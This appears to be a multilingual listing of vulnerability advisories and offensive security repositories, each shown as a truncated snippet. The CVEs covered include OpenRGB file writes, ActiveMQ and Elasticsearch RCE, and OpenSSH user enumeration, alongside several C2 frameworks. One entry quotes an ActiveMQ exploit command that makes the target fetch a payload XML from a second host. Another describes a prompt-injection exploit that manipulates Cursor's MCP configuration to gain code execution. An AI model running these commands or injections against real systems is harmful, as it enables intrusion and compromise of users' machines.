EUVD-2026-66362

The OpenRGB network protocol allows attackers to cause memory exhaustion and out-of-bounds memory reads and writes by passing inconsistent data...

CVE-2026-59683

The OpenRGB network protocol permits writing attacker-controlled strings into arbitrary file system paths , an extension of CVE-2026-59682. If the OpenRGB daemon runs as root , this enables full system compromise from local or remote (network) vectors; if it runs in user context , it allows full ...

EUVD-2026-66359

The OpenRGB network protocol allows to write attacker controlled strings into arbitrary file system paths extension of CVE-2026-59682. This allows either a full system compromise from local or remote if the daemon is running as root or a full account takeover if the daemon is running in user...

CVE-2026-59683 OpenRGB: local and remote system compromise via arbitrary file write using attacker controlled strings

The OpenRGB network protocol allows to write attacker controlled strings into arbitrary file system paths extension of CVE-2026-59682. This allows either a full system compromise from local or remote if the daemon is running as root or a full account takeover if the daemon is running in user...

CVE-2026-19538

The BLOCKED access control list items that are evaluated to deny access on the the proxy protocol port can be bypassed completely when connecting over TCP or TLS and sending the query twice on connection that is kept open...

zeek-spicy-ipsec

IPSec Dies ist ein Zeek-Protokollanalysator, der IPSec-VPN basierend auf Spicy erkennt. Sie müssen Spicy installieren, um dieses Paket zu verwenden. Ein Blog, der die Entwicklung dieses Analysators beschreibt: https://zeek.org/2021/04/20/zeeks-ipsec-protocol-analyzer/ RFCs:...

woodpecker-plugins

Verwendung der woodpecker-plugins Kopieren Sie das Plugin in das Verzeichnis woodpecker-framwork/plugin und starten Sie java -jar woodpecker-framework.1.3.3.jar von https://github.com/woodpecker-appstore weblogic-info Prüfen, ob T3 geöffnet ist: root@kitploit: echo 't3...

CVE-2017-3066

CVE-2017-3066 Descrizione Adobe ColdFusion utilizza il formato dei messaggi Action AMF. Il protocollo AMF è un protocollo di serializzazione binaria personalizzato. Ha due formati: AMF0 e AMF3. Un messaggio Action è composto da header e body. Esistono diverse implementazioni di AMF in diversi...

S22_The_Verification_Protocol

Questo repository non contiene un README...

C2Bridge

C2Bridges ermöglichen es Entwicklern, neue benutzerdefinierte Kommunikationsprotokolle zu erstellen und diese schnell in Covenant zu nutzen. C2Bridges C2Bridges werden verwendet, um ein ausgehendes Command-and-Control-Protokoll zu entwickeln, ohne Covenant-Code zu bearbeiten. Für Entwickler, die...

cve-2018-15473

CVE-2018-15473 OpenSSH fino alla versione 7.7 è soggetto a una vulnerabilità di enumerazione degli utenti poiché non ritarda il bailout per un utente che si autentica in modo non valido finché il pacchetto contenente la richiesta non è stato completamente analizzato, in relazione a auth2-gss.c,...

CVE-2015-5377

CVE-2015-5377 Elasticsearch 1.5.2 è vulnerabile a RCE tramite deserializzazione Java non sicura. L'exploit attacca il protocollo di trasporto sulla porta 9300. La deserializzazione si basa sulla catena Groovy MethodClosure per ottenere RCE...

CVE-2000-0979

CVE-2000-0979 CVE-2000-0979.rb ist das eigenständige Tool, um CVE-2000-0979 gegen den Windows 95 SMB-Dienst auszunutzen. msf20000979.rb ist das Metasploit-Modul. Sie können dies in ⁨metasploit-framework⁩ ▸ ⁨modules⁩ ▸ ⁨auxiliary⁩ ▸ scanner⁩ ▸ ⁨smb⁩ kopieren. Weitere Dokumentation folgt in Kürze!...

BLESuite-CLI

BLESuiteCLI README BLESuiteCLI ist ein Kommandozeilen-Tool, das einen einfacheren Weg zum Testen von Bluetooth-Low-Energy-BLE-Geräten ermöglicht. Dieses Tool verwendet die BLESuite-Python-Bibliothek, die pygattlib und den Bluez-Bluetooth-Stack nutzt, wodurch wir BLE-Geräte mithilfe des Generic...

libreoffice-remote-arbitrary-file-disclosure

Descrizione della vulnerabilità CVE-2018-6871 Prima parte LibreOffice supporta la funzione COM.MICROSOFT.WEBSERVICE: root@kitploit: https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4 La funzione è necessaria per ottenere dati tramite URL, solitamente...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Panoramica di Apache ActiveMQ e OpenWire ActiveMQ è un broker che include client che supportano JMS e consente la comunicazione tra sistemi che utilizzano non solo Java ma anche vari linguaggi. Inoltre, tramite funzionalità di clustering, DB e...

OST-C2-Spec

Entwurf: Anfrage zur Diskussion Zusammenfassung Dieses Dokument bietet eine Übersicht über Version 1 der OST C&C Specification. Es soll eine detaillierte Beschreibung der Nachrichten und der in diesen Nachrichten enthaltenen Felder liefern. Einleitung Die Motivation hinter dieser Spezifikation...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Projekt-Referenz Dieses Projekt ist ein in Python umgeschriebenes exp, basierend auf dem exp des Projekts https://github.com/X1r0z/ActiveMQ-RCE. Verwendung root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Der Parameter -p ist standardmäßig der...

CVE-2025-54135

Di seguito è riportato un exploit completamente funzionale per la vulnerabilità CVE-2025-54135 nell'IDE Cursor, progettato per dimostrare un attacco di iniezione di prompt che manipola la configurazione del Model Context Protocol MCP per ottenere l'esecuzione remota di codice. Questo codice...

CVE-2026-20841

CVE-2026-20841 PoC PoC der „Windows Notepad RCE“-Schwachstelle. Haftungsausschlüsse 1. Ich bin NICHT derjenige, der diese Schwachstelle entdeckt hat. Respekt an die ursprünglichen Autoren, die auf der offiziellen Offenlegungsseite aufgeführt sind. Ich habe den PoC lediglich gemäß der Beschreibung...